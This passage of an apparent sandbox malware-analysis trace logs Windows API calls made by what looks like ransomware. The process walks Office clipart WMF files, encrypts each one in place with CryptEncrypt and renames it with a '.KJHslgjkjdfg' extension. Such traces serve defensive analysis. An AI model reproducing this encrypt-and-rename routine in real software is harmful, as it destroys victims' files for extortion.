nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.843] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.843] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.843] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.843] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13c4, lpOverlapped=0x0) returned 1 [0191.845] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13d0) returned 1 [0191.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.845] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13d0, lpOverlapped=0x0) returned 1 [0191.845] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.845] SetEndOfFile (hFile=0x114) returned 1 [0191.848] GetProcessHeap () returned 0x2a0000 [0191.848] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.848] GetProcessHeap () returned 0x2a0000 [0191.848] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.kjhslgjkjdfg")) returned 1 [0191.850] CloseHandle (hObject=0x114) returned 1 [0191.850] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f39c000, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f39c000, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01572_.WMF", cAlternateFileName="")) returned 1 [0191.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.852] GetProcessHeap () returned 0x2a0000 [0191.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.853] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.853] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.855] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.855] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.855] GetProcessHeap () returned 0x2a0000 [0191.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.856] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.856] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.856] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.856] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.856] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.856] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.857] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.857] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xce8, lpOverlapped=0x0) returned 1 [0191.857] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcf0) returned 1 [0191.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.857] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcf0, lpOverlapped=0x0) returned 1 [0191.857] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.857] SetEndOfFile (hFile=0x114) returned 1 [0191.860] GetProcessHeap () returned 0x2a0000 [0191.860] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.860] GetProcessHeap () returned 0x2a0000 [0191.860] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.kjhslgjkjdfg")) returned 1 [0191.863] CloseHandle (hObject=0x114) returned 1 [0191.863] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a9b00, ftCreationTime.dwHighDateTime=0x1bd4c4d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4c4d, nFileSizeHigh=0x0, nFileSizeLow=0x338e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01590_.WMF", cAlternateFileName="")) returned 1 [0191.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.865] GetProcessHeap () returned 0x2a0000 [0191.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.865] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.865] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0191.867] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.868] GetProcessHeap () returned 0x2a0000 [0191.868] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.868] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.868] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.869] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.869] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.869] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.869] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x338e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x338e, lpOverlapped=0x0) returned 1 [0191.870] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3390, dwBufLen=0x3390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3390) returned 1 [0191.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.870] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3390, lpOverlapped=0x0) returned 1 [0191.871] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.871] SetEndOfFile (hFile=0x114) returned 1 [0191.874] GetProcessHeap () returned 0x2a0000 [0191.874] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.874] GetProcessHeap () returned 0x2a0000 [0191.874] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.kjhslgjkjdfg")) returned 1 [0191.876] CloseHandle (hObject=0x114) returned 1 [0191.876] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TAIL.WMF", cAlternateFileName="")) returned 1 [0191.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.879] GetProcessHeap () returned 0x2a0000 [0191.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.879] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.879] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0191.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.882] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.882] GetProcessHeap () returned 0x2a0000 [0191.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0191.882] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0191.882] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.882] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0191.882] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.882] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.882] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.882] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.883] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b6, lpOverlapped=0x0) returned 1 [0191.883] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0) returned 1 [0191.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.883] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8c0, lpOverlapped=0x0) returned 1 [0191.883] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.883] SetEndOfFile (hFile=0x114) returned 1 [0191.886] GetProcessHeap () returned 0x2a0000 [0191.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0191.886] GetProcessHeap () returned 0x2a0000 [0191.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.kjhslgjkjdfg")) returned 1 [0191.888] CloseHandle (hObject=0x114) returned 1 [0191.888] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9583f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9583f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xbde2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00011_.WMF", cAlternateFileName="")) returned 1 [0191.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.891] GetProcessHeap () returned 0x2a0000 [0191.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.891] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.891] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0191.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.893] GetProcessHeap () returned 0x2a0000 [0191.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.894] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.894] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.894] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.894] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.894] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.894] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbde2, 